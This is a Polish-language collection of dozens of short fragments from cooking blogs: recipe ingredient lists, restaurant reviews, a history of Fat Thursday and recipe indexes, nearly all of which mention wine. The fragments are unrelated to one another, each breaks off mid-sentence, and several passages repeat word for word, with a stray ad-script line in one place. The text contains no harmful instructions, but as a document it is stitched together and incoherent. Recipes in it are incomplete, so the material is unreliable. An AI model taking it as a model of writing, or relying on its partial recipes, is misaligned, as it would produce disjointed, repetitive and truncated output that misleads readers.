jeszcze z czasów pogańskich, a zwiastowało ono koniec zimy i nadejście wiosny. Ucztowanie opierało się na jedzeniu tłustych mięs oraz innych tłustych potraw i oczywiście przepijanie tego wszystkie hektolitrami wina. Za przekąskę służyły „pączki” z ciasta chlebowego nadziewanego słoniną. Rzymianie, od których na dobrą sprawę wszystko się zaczęło nazywali ten dzień tłustym dniem . „Od tłustego czwartku do Zmartwychwstania

dania z innych kuchni i przerabiać je pod swój smak. A jest to danie rosyjskie, które spopularyzowano w całej Europie w XIX w. Część nacji do tej potrawy dodaje wino. W innych rejonach świata, strogonow to czysta wołowina w sosie z dodatkiem musztardy, ale bez pieczarek czy choćby cebuli. I tak strogonowa robiony jest zwykle z wołowej polędwicy

Doprawiamy curry i solą. 3. Na patelnie do kurczaka i cebuli wsypujemy dwie torebki ryżu. Czekamy chwilkę, aż ryż się zrumieni i podlewamy delikatnie bulionem. ( można użyć odrobiny białego wina) 4. Mieszamy cały czas i dodajemy bulionu w momencie, aż poprzednia porcja będzie wchłonięta przez ryż. Postępujemy tak do momentu, aż ryż będzie al dente. Gotowe:) Hasta Luego

umiejętność zrobienia czegoś z niczego. Dania typu przepyszne maczanki, które możemy wyciągnąć z szafki, dodać kilka składników i mieć, kiedy nieoczekiwanie przychodzą goście. Jaka jest najszybsza możliwa przegryzka do wina czy piwa? Oczywiście nachosy na ciepło z guacamole i zapieczonym żółtym serem. Do tego pomidor a jeśli go nie macie to może być pół puszki odsączonej fasoli (albo coś

księgach z przed naszej ery. Cynamon na bardzo intensywny, lekko słodki korzenny smak i charakterystyczny zapach. Najczęściej dodawany jest do słodkich dań: deserów, wypieków (szarlotki, pierniki czy grzane wino), omletów czy placuszków. Można dodawać go do herbaty (zimowa herbatka z miodem i sokiem malinowym 😊 )   czy innych napojów. Niekiedy dodawany jest do dań mięsnych – zwłaszcza w kuchni indyjskiej

tylko po ten deser! I piwko oczywiście Podsumowując, była to bardzo udana wizyta. Wyszłam najedzona i szczęśliwa, chociaż pewnie tutaj duży wpływ na to miało obłędne piwo i wina, które też musiałam przecież przetestować. Polecam to miejsce na obiadek, jak i na relaks przy piwku z pysznymi przekąskami z przyjaciółmi. Jeszcze raz dziękuję za zaproszenie, spędziłam czas bardzo miło

mała papryczka chilli 4 łyżki oleju sezamowego 2 łyżki sosu sojowego 1/2 szklanki siekanego szczypiorku lub kolendry/pietruszki Marynata: 2 łyżki drobno pokrojonego imbiru 2 łyżki sosu sojowego 1 łyżka wina ryżowego albo 1 łyżka octu ryżowego (lub) winnego i łyżeczka miodu 1 łyżeczka mąki (najlepiej ziemniaczanej) 1/2 łyżeczki pieprzu Przygotowanie: Krok 1 Wszystkie składniki marynaty wymieszaj w misie. Pokrojone

pleśniowym i orzechami, mówię Wam- pyszności! Składniki: 2 dojrzałe gruszki garść dowolnego miksu sałat ser pleśniowy blue orzechy włoskie 6 łyżek oliwy z oliwek 2 łyżki octu z białego wina pół łyżeczki miodu sól, pieprz Sałatę myjemy. Układamy na niej pokrojoną w kostkę i obraną gruszkę, oraz kostki sera pleśniowego. Posypujemy orzechami. Oliwę, ocet i miód mieszamy razem

nawet mielone curry. Takie ziemniaczki mogą odgrywać na talerzu główną rolę ze śmietanką bądź kefirem, lub być dodatkiem do dania mięsnego :) Cudowne połączenie z kurczakiem pieczonym w białym winie - i to wszystko za jednym razem w piekarniku. A zamiast ziemniaków, można użyć takiej samej ilości topinamburów. Inspirujcie się i twórzcie własne smakowite kompozycje ziół i przypraw. Zachęcam! Ślicznie pozdrawiam

księgach z przed naszej ery. Cynamon na bardzo intensywny, lekko słodki korzenny smak i charakterystyczny zapach. Najczęściej dodawany jest do słodkich dań: deserów, wypieków (szarlotki, pierniki czy grzane wino), omletów czy placuszków. Można dodawać go do herbaty (zimowa herbatka z miodem i sokiem malinowym 😊 )   czy innych napojów. Niekiedy dodawany jest do dań mięsnych – zwłaszcza w kuchni indyjskiej

pietruszki skórka z cytryny   i sok z połowy cytryny sól świeżo zmielony pieprz Sos: 1 duża cebula 1 papryczka chili 1 łyżka przecieru pomidorowego ok. 150 ml białego wina cytryna 1 mango 1 łyżeczka pasty "Curry żółta" 2 łyżki konfitury morelowej 2 łyżki jogurtu greckiego 4 łyżki majonezu natka pietruszki sól pieprz świeżo zmielony Ponadto: Rękaw do pieczenia

boczku wędzonego lub gotowanego 50g niebieskiego sera pleśniowego typu gorgonzola 1/2 sałaty lodowej lub 1/2 opakowania mixu sałat Sos vinegret: 2 łyżki oliwy 1 łyżka octu z czerwonego wina 1 łyżeczka miodu 1 łyżeczka sosu worcestershire płaska łyżeczka musztardy sól i pieprz do smaku Jajka ugotować na twardo, ostudzić, pokroić w kostkę. Boczek pokroić w kostkę i podsmażając

kucharzy godzinami. OBSŁUGA Już od progu przywitał nas… chyba właściciel – Hiszpan. Niewysoki przemiły i uśmiechnięty człowiek, który z niesamowitą energią i pasją opowiadał o jedzeniu i winie. Poczuliśmy się od razu miło przywitani i z tą większą chęcią usiedliśmy przy wskazanym stole. Nieco później naszą obsługę przejęła już drobniutka kelnerka, miła ale niezauważalna. Pan Hiszpan skradł

poszatkowaną marchew i seler. Po chwili dodać mielone mięso i przesmażyć razem wszystkie składniki. Dodać nalewkę wrzątku i dusić do miekkości. (zamiast wrzątku można dodać pół szklanki białego wytrawnego wina ) Przygotować sos pomidorowy z olejem z oliwy, ząbkiem czosnku i przecierem pomidorowym i szczyptą soli. Gotować lasagne w osolonej wodzie przez 4 minuty poczym zalać zimną wodą. Wysmarować masłem

porcje) : duża cukinia 400 g kurek ząbek czosnku 250 g pomidorków koktajlowych 250 g fety łyżeczka suszonego oregano 2 łyżki oliwy (lub łyżka masła) 2 łyżki octu z białego wina łyżka posiekanej natki sól Sposób przygotowania: 1. Cukinię umyj, pokrój na cienkie paski, potem na kawałki. Kurki dokładnie umyj i usmaż na łyżce oliwy. Przełóż na ręcznik papierowy, który

niedługim czasie i przy minimalnym nakładzie pracy możemy otrzymać super przekąskę, która zachwyci waszych gości. Świetnie też sprawdzi się jako propozycja na ciepło podczas romantycznej kolacji przy lampce wina:);) 1 op. ciasta francuskiego xxl 2 serki typu camembert żurawina w słoiczku 1 białko jaja, rozmącone Serki kroimy na 4 części. Ciasto francuskie rozwijamy, kroimy na 8 kwadratów. Na każdym

wszystkie składniki i zagarniaj, siekaj i zagarniaj do środka, aż ciasto zacznie się sklejać w kruszonkę. * W między czasie dostałam spóźniony ale jakże miły prezent urodzinowy w postaci musującego wina, chyba Wam jakiś konkurs zorganizuję, bo z mim piciem to mi wystarczy do następnych urodzin Po 5-10 minutach siekania i zagarniania uformuj kulę z ciasta, zawiń w folię

obłędnie.   Poniżej przepis krok po kroku:   Udko pieczone. Składniki:   2 udka z kurczaka sól, pieprz 2 ząbki czosnku kawałek imbiru wielkości korka od wina 2 łyżki oleju roślinnego 2 łyżki słodkiego sosu chilli 3 łyżki jasnego sosu sojowego 1 łyżka miodu sok z 1/2 limonki Do dekoracji: orzeszki ziemne

Świeże muffinki przekroić w połowie wysokości. 2. Na każdą spodnią część nałożyć masy o różnych smakach. 3. Nałożyć wierzch babeczki i ozdobić je masą. 4. Podawać z lampką czerwonego wina. U mnie malinowego. Smacznego. Gotowa masa cukiernicza Lauretta Masę cukierniczą Lauretta otrzymałam od producenta w 2 smakach: waniliowym i malinowym. Każde opakowanie ma wielkość i kształt dużego rękawa cukierniczego

niedługim czasie i przy minimalnym nakładzie pracy możemy otrzymać super przekąskę, która zachwyci waszych gości. Świetnie też sprawdzi się jako propozycja na ciepło podczas romantycznej kolacji przy lampce wina:);) 1 op. ciasta francuskiego xxl 2 serki typu camembert żurawina w słoiczku 1 białko jaja, rozmącone Serki kroimy na 4 części. Ciasto francuskie rozwijamy, kroimy na 8 kwadratów. Na każdym

SOSIE ŚMIETANOWYM Z SZYNKĄ PARMEŃSKĄ   DANIA GŁÓWNE SZAKSZUKA Z KURKAMI BOEUF STROGONOW NAJLEPSZY DOMOWY CHEESEBURGER KREWETKI W SOSIE POMIDOROWYM Z WÓDKĄ PIZZA Z PATELNI MAŁŻE W BIAŁYM WINIE KANAPKA ZE STEKIEM PODSTAWOWY PRZEPIS NA SZAKSZUKĘ (SHAKSHUKĘ) TARTA Z CUKINIĄ DORSZ Z WARZYWAMI W PAPILOTAC DESERY RUSTYKALNA TARTA Z JABŁKAMI PIECZONE GRUSZKI W MIODZIE TIRAMISU PROSTA SZARLOTKA RÓŻE

wieczoru rozglądamy się raczej za wykwintnymi daniami lub (co łatwiejsze) wybieramy się do restauracji. Jednak osobiście wolę spędzać ten czas w domu, przy świecach, kadzidle, z lampką domowego czerwonego wina i czymś smakowitym na talerzu.    Cenię sobie prostotę. Nie ukrywam, że wizyty w drogich restauracjach są przyjemne i dowartościowujące, niemniej jednak w domowych pieleszach "idę na łatwiznę

pójdą, to i matka nie poświętuje. Serio, serio. Oduczyłam się pić alkohol, bo nigdy nie wiadomo co się przytrafi, więc i ryzykować nie chcę.  Wyjątek stanowi mała lampka wina raz na kwartał ;)  Dla Was za to mam dziś propozycję na drinka, podobnego do znanego Tequila Sunrise. Przyznam, że nie wiem czy w smaku jest podobny do oryginału

zielony dodatek to polecałbym prostą sałatkę z sosem vinegret. Nie będzie dominować nad daniem głównym tylko wspaniale podkreślać jego smak. Kieliszek czerwonego wytrawnego wina, również jest wskazany   Jeżeli jeszcze nie próbowałeś takiej wersji zapiekanki makaronowej, polecam wypróbować, nie pożałujesz.   Przepis krok po kroku poniżej:   Zapiekanka makaronowa. Składniki

tylko jedno dodać… to są najlepsze pączki. Przepis gorąco polecam – na tłusty czwartek… i nie tylko. Smacznego. Poniżej moja kolekcja przepisów na Tłusty Czwartek: Faworki na piwie Chrusty na winie Churros z masą migdałową Oponki z twarogu Pączki jogurtowe – Fritule Pączki z budyniem Pączki hiszpańskie Pączki z serka mascarpone Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki z ziemniakami

tradycyjnej i w przeciwieństwie do niej wręcz urzeka smakiem. Podobno urzeka też serce i o kilka stopni podnosi poziom zadowolenia u częstowanej osoby  (szczególnie przy lampce dobrego wina).  Zbliżające się Walentynki to świetna okazja by przekonać się o tym samemu, nawet jeśli nie macie nikogo - najwyżej zostanie dla Was dodatkowa porcja, a jak wiadomo, miłość do siebie

piękne kubki z tej samej serii. Polecam Wam zajrzeć na stronę sklepu. W końcu już niedługo Walentynki . Może znajdziecie coś idealnie pasującego na tą okazję, jak np. zestaw do wina . I oczywiście nie zapomnijcie przygotować czegoś słodkiego Ja polecam Wam 3 przepisy na słodkie wypieki, które sprawdzą się właściwie na każdą okazję. W szczególności kruche tartaletki. Pamiętajcie, że możecie

Parę dni temu miałam ochotę na ser pleśniowy, taleggio "pachniało" tak pięknie, no idealnie do wina. Pierwszy raz miałam do czynienia z tym serem, więc mnie nie linczujcie. Wzięłam więc i się przejechałam. Nie nie, nie ten klimat zupełnie. Trzeba było więc wykorzystać go do jakiejś potrawy. Jedna nie wypaliła (ser nie rozpuszcza się w sosie :)), druga to omlet

przepis) maślane bułki do burgerów  (przepis) Coleslaw 1/4 główki czerwonej kapusty 1 marchewka 4-5 łyżek majonezu 2 łyżki syropu klonowego 1 łyżka octu winnego z białego wina 1/4 szklanki maślanki sól pieprz Dodatkowo ogórki kiszone kilka łyżek majonezu  ewentualnie ketchup Przygotowanie: 1. Szarpaną wołowinę przygotować według  przepisu 2. Bułki przygotować według  przepisu 3. Colesław

ilości dodanego cukru. Pamiętajcie, żeby użyć polewy czekoladowej lub ewentualnie lukru, np. z ksylitolu – podbijecie w ten sposób walory smakowe. Pączki może nie maję idealnego kształtu, ale to wina moich zdolności manualnych (a raczej ich braku). Wierzę, że Wam pójdzie lepiej A i ostrzegam – naprawdę ciężko im się oprzeć!   Pieczone pączki z batata

Zagniatamy ciasto. Gdy wszystkie składniki się połączą, ciasto lekko (!) oprószamy mąką (będzie dość klejące). Stolnicę również posypujemy mąką. Wałkujemy ciasto partiami, niezbyt cienko. Wykrawamy kółka szklanką lub kieliszkiem do wina. Następnie w środku każdego kółka wykrawamy mniejsze kółko (małym kieliszkiem, naparstkiem lub nakrętką). Oponki smażymy na głębokim, średnio rozgrzanym oleju, z obu stron na złoto. Odkładamy na ręcznik papierowy

prażenie -łamanie i łuszczenie -mielenie -konszowanie -temperowanie W pijalni można spróbować pysznej pitnej czekolady z różnymi dodatkami, naturalnych lodów własnej produkcji oraz czekoladowych smakołyków: czekolad z owocami, czekolad inspirowanych winem, pralin, czekoladowych narzędzi i wiele, wiele innych. Miejsce cudowne, z czekoladowym klimatem. O wypróbowanych smakołykach w tej bajkowej krainie opowiem w następnym poście. Powiem tylko tyle są niesamowicie delikatne, smaczne(...)mogłabym się nimi delektować bardzo bardzo długo.....  W domu jeszcze próbowałam czekoladek inspirowanych winem - są obłędne. Do tego miejsca wrócę z moją rodzinką jeszcze nie raz...... :) Do zobaczenia :) Więcej informacji o tym cudownym miejscu można znaleźć na stronie : www.mpelczar.pl

ząbki czosnku 1 listek laurowy 1 litr wody (można użyć więcej lub mniej, zależnie od gustu) sól, pieprz i sporo suszonego oregano do smaku 2 łyżki octu z czerwonego wina W dużym garnku, w którym będziesz gotować zupę, rozgrzej oliwę i przesmaż na niej cebulę i czosnek. Nie mają się zrumienić, tylko zmięknąć. Dodaj pokrojoną marchewkę i listek laurowy

spotykają cię w domu Julii w ostatni weekend sierpnia. Za każdym razem spotkania są do siebie podobne - kobiety siedzą przy stole na tej samej werandzie, popijają to samo wino. Właśnie odbywa się ich kolejne spotkanie 20 lat po maturze. Kobiety wychodzą na werandę i słuchają szlagieru z dawnych lat z głośno nastawionego radia. Julia proponuje przyjaciółkom, że pokaże

zwyczaj jedzenia tłustych potraw sięga starożytności. Był to dzień, w którym świętowano odejście zimy i nadejście wiosny. Ucztowanie opierało się na jedzeniu tłustych potraw, szczególnie mięs oraz piciu wina, a zagryzkę stanowiły pączki przygotowywane z ciasta chlebowego i nadziewane słoniną. Staropolskie przysłowie mówi: „ Powiedział Bartek, że dziś tłusty czwartek, a Bartkowa uwierzyła, dobrych pączków nasmażyła .” Ja jednak

aromatyczną nalewkę na gałce muszkatołowej przygotowuję co kilka lat, gdy nie obrodzą owoce. Przepis zaczerpnięty z książki "Nalewki, likiery i wina domowe" Małgorzaty Caprari zakłada, że jest ona gotowa po roku. Ja zaczynam nią częstować po dwóch latach, gdy smak gałki wymiesza się ze smakiem rodzynek i "przegryzie się" w alkoholu, a kolor nalewki ze słomkowego zmieni się

blachy na osobny talerz, podzielić między naszykowane talerze sos i dopiero wtedy na sosie rozłożyć ryby. Do tak podanej makreli świetnie pasuje pszenna bagietka i białe lub różowe lekkie wino. Niesamowita śródziemnomorska uczta! SKŁADNIKI 3 makrele świeże, każda o wadze 320-360g 6 gałązek świeżego rozmarynu 6 dużych ząbków czosnku 2 łyżeczki soku z cytryny 2 łyżeczki oliwy

smaku , więc pewnie nie jest identyczny , ale mi smakuje dokładnie jak tamten , do tego świeża bagietka , sos tatarski i …nic więcej nie trzeba , no może kieliszek wytrawnego , czerwonego wina Składniki na dużą keksówkę : 0,1 kg golonki tylnej 3 podwójne wątróbki drobiowe pasek wędzonej słoniny – około 0,2 kg 2-3 duże liście laurowe 6-8 kulek

owoców wykrawamy kulki (10-12 szt na dwie porcje)- najlepiej nada się do tego papaja, tak jak u nas, mango albo melon. Do pucharków deserowych lub kieliszków do wina przekładamy owocowe kulki, zalewamy jedną częścią galaretki, przekładamy do lodówki, by stężała. Dobrze schłodzoną śmietanę ubijamy z cukrem pudrem, dodajemy nasiona chia, porcjujemy do pucharków, zalewamy pozostałą galaretką. Ponownie wstawiamy

cytrynowe. Więc zrobiłam ciasto cytrynowe. Miałam obawy, że będzie słodkim ulepem, ale było pysznie kwaskowe, lekko słodkie, cytrynowe, wilgotne i pyszne. Na zdjęciu zobaczycie pęknięcia w cieście, to nie wina ciasta, to ja. Nie poczekałam, aż ostygnie i usiłowałam go wyrwać z foremki. Ciasto robiłam w tortownicy o średnicy 14 cm. Jeśli nie macie takiej małej, pomnóżcie składniki

najlepszy. Schab na gulasz będzie zbyt suchy, chyba, że kawałki schabu wymieszacie z wyżej wymienionymi rodzajami wieprzowiny. Smacznego! Zobacz też: Karkówka w sosie własnym Gulasz z jelenia na czerwonym winie z pieczarkami Zapiekanka ziemniaczana z mięsem mielonym Polędwiczki w kremowym sosie własnym Przepis na prosty gulasz wieprzowy Drukuj przepis Porcji: 3 Czas gotowania: 1 godzina Składniki 700 g wieprzowiny

mamy zimę. A my – przy okazji – mamy też przeziębienie. I organizm domaga się rozgrzania. Wiadomo, że najlepiej rozgrzewa grzane wino, ewentualnie herbata „z prądem” 🙂 Ale fajnie też zjeść coś rozgrzewającego. I na dodatek takiego, co … Czytaj dalej

ciemnym czekoladowym blatem. Piernik czeski to u nas wspomnienie dzieciństwa. Pyszny, niezawodny, a przede wszystkim taki, który poleży nawet 4 dni. Im dłużej leży ,tym lepiej smakuje. Jest jak wino-dojrzewa. Placek kroi się idealnie w kostkę i nadaje się na każdą imprezę! Super sprawa jak macie upiec coś do szkoły. Uwaga, najlepiej kroić go dopiero na drugi dzień

całej rodziny- dzieciaki uwielbiają takie cuda! Całość zrobicie w kwadrans! Żeby z tortilli zrobić tacos, musimy wysuszyć trochę tortille, ja to robię w bardzo prosty sposób, na butelki po winie/ piwie (umyte i osuszone) ułożone w pozycji leżącej układam placki tortilli i wstawiam na kwadrans do piekarnika, temp 200 stopni C. W tym czasie przygotowuje dodatki. Możesz pominąć

dłużej, wtedy jest ono najlepsze. Dzisiaj mam dla was zbiór przepisów na dania obiadowe z kurczakiem.  (adsbygoogle = window.adsbygoogle || []).push({}); Kurczak w sosie miodowo musztardowym Kurczak w białym winie Cannelloni z kurczakiem Cannelloni z kurczakiem barbecue Kurczak w czosnkowym sosie Kurczak zapiekany z ananasem Kurczak w miodowym sosie Naleśniki zapiekane z kurczakiem Szaszłyki z kurczaka na grilla Kurczak zapiekany

gwiazdka anyżu ½ łyżeczki soli (lub mniej, jeśli rosół bardzo słony) ½ łyżeczki płatków chili 3 łyżki oliwy z oliwek 2 łyżki lodowato zimnej wody 1 łyżka octu z czerwonego wina DO PODANIA drobny makaron „koraliki” lub orzo natka pietruszki, świeża bazylia starty parmezan albo Pecorino Romano

stoi na przeszkodzie, aby można też było delektować się tym przysmakiem w sezonie zimowym. Deser niezwykle prosty, bez użycia maszyny do lodów i praktycznie przygotowany „na winie”. Miałam zamrożone dojrzałe banany, które czekały na swoje wykorzystanie. Postanowiłam zrobić domowe lody. Mówicie, że zima i nie bardzo? Nic bardziej mylnego. Właśnie zimą powinno się jadać lody. Lody bananowo orzechowe

kontekście porannego posiłku. Prawdę powiedziawszy, można je przyrządzić kiedykolwiek. Naprawdę warto. Muszę się przyznać, że moje zapoznawały się z wnętrzem piekarnika cokolwiek za długo (5 minut?), ale to wina pani ankieterki telefonicznej. A może raczej mojego niskiego poziomu asertywności? Nie dajcie się zbić z tropu, kiedy wsadzacie coś do piekarnika. ;) Składniki (na 4 kokilki) : 1 brokuł podzielony na różyczki

miseczki przyprawę 5 smaków i sos sojowy – jak najlepszy. To wbrew pozorom nie sama słoność i kolor. Dobry sos sojowy to naprawdę głęboki i zróżnicowany smak, leżakuje jak wino. Z czasem nabiera siły, mocy i aromatu – nie kupujcie byle jakiego. Osuszonego i oczyszczonego kurczaka wkładamy do szczelnie zamykanej torebki z grubej folii (moja torebka ma pojemność 4,5 litra

środku kilka osób, ciężko zgadywać czy to klienci, rodzina, a może kelnerzy. Wolny stolik, siadamy, pojawia się kelner, który mówi w każdym języku byleby był to włoski. Zamawiamy butelkę wina oraz Carciofi alla siciliana , karczochy, ale czy po sycylijsku to już nie pamiętam – przyjmijmy, że tak było Oczekiwanie na jedzenie dłużyło się niemiłosiernie, w knajpie pachniało wspaniale, pizza

łyżki przecieru pomidorowego 2 liście laurowe Gałka muszkatołowa – duża szczypta Szklanka piwa stout lub ewentualnie guinessa lub innego portera. Kto nie lubi piwa może dodać szklankę czerwonego, wytrawnego wina Pół szklanki bulionu lub wody Łyżka sosu Worcester (opcjonalnie) Łyżka klarowanego masła lub oleju Sól i pieprz o smaku Pure Duża główka kalafiora 3 pietruszki 2 łyżki masła

mieszania składników - moim zdaniem dużo bezpieczniej dodawać żelatynę do ubitych żółtek niż do bitej śmietany.  Mus wychodzi dość kwaśny i zdecydowanie wyrazisty. Świetnie smakuje z kieliszkiem słodkiego, musującego wina. I choć trochę się denerwowałam, czy sprostam wymaganiom, okazało się, że zupełnie niepotrzebnie - smakował dokładnie tak jak powinien. To jak - skusicie się...? Noworoczny mus cytrynowy z bitą śmietaną Składniki

będzie nim zachwycony. Składniki: 2 średnie bakłażany garść posiekanej pietruszki mała garść świeżej mięty (ja pominełam) 8 łyżek oliwy z oliwek 1 ząbek czosnku 3 łyżki octu z białego wina sól morska, pieprz 6-8 kromek chleba Pokroić bakłażany na plastry o grubości 3 mm, opiec je na patelni grillowej i przełożyć do miski.  W innej miseczce przygotować

późna „na mieście” mam ochotę zjeść pyszną kolację, a potem włączyć ulubiony film, rozpalić kominek, owinąć się miękkim kocem i wtulić w ukochaną osobę z kieliszkiem wina w ręku. Założę się, że w tym całym „romantyzmie” nie jestem sama i wiele z Was robi, albo ma ochotę zrobić dokładnie to samo. A co na takiej

wrzenia, zdjąć z gazu dodać żelatynę i dokładnie wymieszać by się rozpuściła. 3.Płyn przelewamy do kieliszków albo foremek jak kto woli, ja skorzystałam z kieliszków na wino i ustawiłam je na ukos. 4.Poczekać aż wystygnie i wsadzić do lodówki najlepiej na całą noc. 5.Maliny miksujemy, dodajemy cukier według wyznania

banalną techniką polegająca na „odklejeniu” smaku z patelni, który pozostał po smażeniu głównego składnika (mięsa, drobiu, ryb lub warzyw). Deglasowanie to wlanie niewielkiej ilości płynu (wody, bulionu, śmietany lub wina) na patelnię pokrytą skarmelizowanymi resztkami, zagotowanie go, a następnie delikatne zeskrobywanie glazury za pomocą drewnianej łopatki. Otrzymujemy wówczas bardzo intensywną i pełną aromatu bazę do sosu. Po drugie, większość

rzeczy i stworzyć moją sałatkę jarzynową bez groszku z puszki, za to z zieloną cieciorką, jabłkiem, czerwoną cebulą i moją ulubioną czarnuszką. Do tego majonez, ocet z białego wina, dużo świeżo mielonego czarnego pieprzu, trochę płatków chilli i sól. Wyszło pysznie :) “Sałatka jarzynowa bez groszku z zieloną ciecierzycą i czarnuszką” świetnie smakuje z chrupiącym i świeżym pieczywem

Zapewne nie wszyscy lubią owoce morza , ale może warto się przełamać i spróbować :) Krewetki to owoce może, które możemy wykorzystać na wiele sposobów, są one bardzo

kuskusem z suszonymi pomidorami Hummus Hummus z suszonymi pomidorami Gofry z cukrem pudrem Gofry z kakaową bitą śmietaną i z cukrem pudrem Gofry z malinami i bitą śmietaną Grzane wino z bakaliami Grzanki z awokado i grana padano Grzanki z ricottą i pieczonymi warzywami Mini calzone z brokułami, oliwkami i mozzarellą Mus czekoladowy Mus czekoladowy z awokado Mus czekoladowy

MUSZTARDĄ SAŁATKA CAPRESE PODPŁOMYK Z KONFITURĄ Z CEBULI BRUSCHETTA Z POMIDORAMI FOCACCIA Z ROZMARYNEM PIZZA Z CIASTA FRANCUSKIEGO ŚLIMACZKI Z CIASTA FRANCUSKIEGO PALUSZKI CHLEBOWE PRZEKĄSKA DO PIWA LUB WINA TARTY Z POMIDORAMI TARTA Z ŁOSOSIEM I MOZZARELLĄ HUMMUS Z SUSZONYMI POMIDORAMI TRADYCYJNY HUMMUS HUMMUS Z SOCZEWICĄ PASTA Z KURCZAKA PASTA Z ŁOSOSIA WEDZONEGO PASTA Z MAKRELI PASTA Z WĘDZONEGO

domówkę, imprezę sylwestrową. Do tego bardzo ładnie się prezentuje, a je się też oczami Bardzo ją lubię, komponuje się świetnie z sałatami i domowymi dipami. Wytrawna, smakuje np. do wina. Możecie ją podawać na ciepło lub zimno. Udanej zabawy Sylwestrowej i smacznego przywitania Nowego Roku 2018! ♥ Składniki: 1 cukinia 200 g twarogu półtłustego 3 suszone pomidory garść czarnych

ciekawą oleistą i strukturę z wyczuwalnymi kawałkami warzyw. Przygotujecie go w kilkanaście minut, z kilku zaledwie podstawowych składników. Najlepiej smakuje na kromce domowego chleba, z kieliszkiem schłodzonego białego wina. Sprawdzi się na wigilijnej kolacji lub jako jedna z przekąsek na sylwestrowej imprezie. Wygląda świetnie, smakuje jeszcze lepiej. Polecam nie tylko wegetarianom. SKŁADNIKI / 4 porcje 1 mała cukinia

życzę wszystkim czytelnikom. Oto  - moim zdaniem linki do fajniejszych przepisów, które napisałam Ciasto pomarańczowe z żurawiną Bigos z czerwonek kapusty z owocami Ciasto korzenne z gruszką gotowaną w winie Ciasto migdałowe z polentą i pomarańczami Karp w sosie pomarańczowym Makowiec z kaszą jaglaną Śledź w jogurcie z jabłkiem Łamana beza z kremem amaretto Krucha choinka z kremem Sernik

obfitą marmurową płytę na moje urodziny. Wśród świątecznego poruszenia nie chce mi się niewiadomo co tworzyć i wydziwiać. Pokaźny deserowy talerz z serów i wędliny, a do tego musujące wino i mała impreza urodzinowa gotowa! Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara The post Jak przygotować talerz z serów i wędliny appeared first on Blog kulinarny

dlatego ciasteczka po upieczeniu należy obficie posypać cukrem pudrem. Składniki na około 60 szt. ciasteczek: 300 g mąki 240 g zimnego masła 2 żółtka 4 łyżki czerwonego lub białego wina większa szczypta soli Dodatkowo: mąka do podsypywania powidła (lub twarda marmolada wieloowocowa) cukier puder do posypania Zimne masło posiekać na stolnicy, dodać pozostałe składniki i dalej wszystko razem siekać

świeżego, co być może pomoże w urozmaiceniu smaku. Zupy, przystawki, dania główne, desery... prawie wszystko, oprócz... kompotu. W tym przypadku nie da się wymyślić zamiennika... Nooo... chyba, że lubisz wino, wtedy problem sam się rozwiązuje. :-) Zupa grzybowa z borowikami Jest to zupa postna czyli gotowana tylko na warzywach ale dodając śmietanę min. 30% ma wystarczająco tłuszczu aby być keto

wymoczonych w mleku przez noc i pokrojonych w drobną kostkę 1 łyżka kaparów, posiekanych 1 średnia czerwona cebula, drobno posiekana 1 łyżeczka musztardy Dijon 1 łyżeczka octu z białego wina 1 ząbek czosnku, przeciśnięty przez praskę 1/2 jabłka obranego ze skórki i startego na tarce 1 i 1/2 łyżki pikantnego ketchupu 2 łyżki majonezu 1 dojrzałe awokado, obrane

piec przez 15 minut. Następnie odkryć naczynie i piec przez kolejne 15 minut. Sos zlać do sosjerki lub zrobić sos winno-kerzenny. Przelać do rondelka i dodać 50 ml wina czerwonego i gotować przez 10 minut. Przyprawić ewentualnie do smaku. Karkówka korzenna znakomicie komponuje się z plastrami pomarańczy, mixem sałat, pomidorami, orzechami itp. Smacznego — BTW 100 g surowej

wymieszaj energicznie, aż cały makaron oblepi się śmietanką. Dosmacz pieprzem w razie czego. Wsyp tartego sera owczego. Podawaj z natką pietruszki. Pyszne, kremowe danie w sam raz do lampki wina! Przed podaniem spryskaj oliwą z oliwek

zabierze mąka. Ciasto ma być miękkie i elastyczne. Zagniatamy kilka minut, jeśli jest za twarde dolewamy jeszcze po odrobinie wody i nadal zagniatamy.  Ciasto wałkujemy i kieliszkiem do wina wykrawamy małe kółeczka. Na każde wykładamy po pół łyżeczki farszu. Zlepiamy małe pierożki a następnie sklejamy ze sobą dwa boki tworząc uszko. #Duda  #ŚwietazDuda  #GotujzDuda Składniki

inne przepisy na pyszne domowe likiery: Domowy likier kawowy Domowy likier kokosowy Adwokat, domowy ajerkoniak Domowy likier baileys Domowy likier kukułka Krówka likier domowy Likier korzenny Grzaniec, czyli grzane wino Eggnog, likier jajeczny Likier piernikowy Czas przygotowania: 10 minut + ok. 7 dni Składniki: 250 ml  syropu piernikowego 4-5 łyżek mleka skondensowanego niesłodzonego 250 ml wódki Wykonanie

kiedy poranki są już chłodne, a wieczór przychodzi wcześniej niż byśmy tego chcieli. Dopiero co zaczął się wrzesień, a ja już poczułam jesienny klimat, być może to wina mojego kiepskiego nastroju. Ale soczyste, słodkie owoce z delikatną kruszoną zawsze poprawiają samopoczucie. I bez względu na wszystko zawsze się udają. Spróbujcie zrobić na podwieczorek i spałaszujcie w towarzystwie dobrej książki

mocniejszych kulinarnych skojarzeń z Bożym Narodzeniem. Syrop jest zaś jego doskonałym nośnikiem. Łyżeczką tego eliksiru można nadać świątecznego charakteru herbacie, kawie lub gorącej czekoladzie. Można dodać go do grzanego wina, piwa albo cydru. A może lepiej bezalkoholowo - do gorącego soku jabłkowego? Można polać nim lody, bitą śmietanę lub inne desery. Można nawet użyć jako glazury do pieczonego mięsa. Dlaczego

rzeczy i stworzyć moją sałatkę jarzynową bez groszku z puszki, za to z zieloną cieciorką, jabłkiem, czerwoną cebulą i moją ulubioną czarnuszką. Do tego majonez, ocet z białego wina, dużo świeżo mielonego czarnego pieprzu, trochę płatków chilli i sól. Wyszło pysznie :) „Sałatka jarzynowa bez groszku z zieloną ciecierzycą i czarnuszką” świetnie smakuje z chrupiącym i świeżym pieczywem

suszonych owoców i tegoroczna śnieżynka - koktajl bananowy z suszonymi śliwkami. Koktajl bananowy z suszonymi śliwkami i cynamonem Cytrusowa lemoniada Czekolada na gorąco z korzennymi przyprawami Grzane wino z bakaliami Kompot z suszonych owoców Pierniczkowy koktajl z egzotycznymi owocami

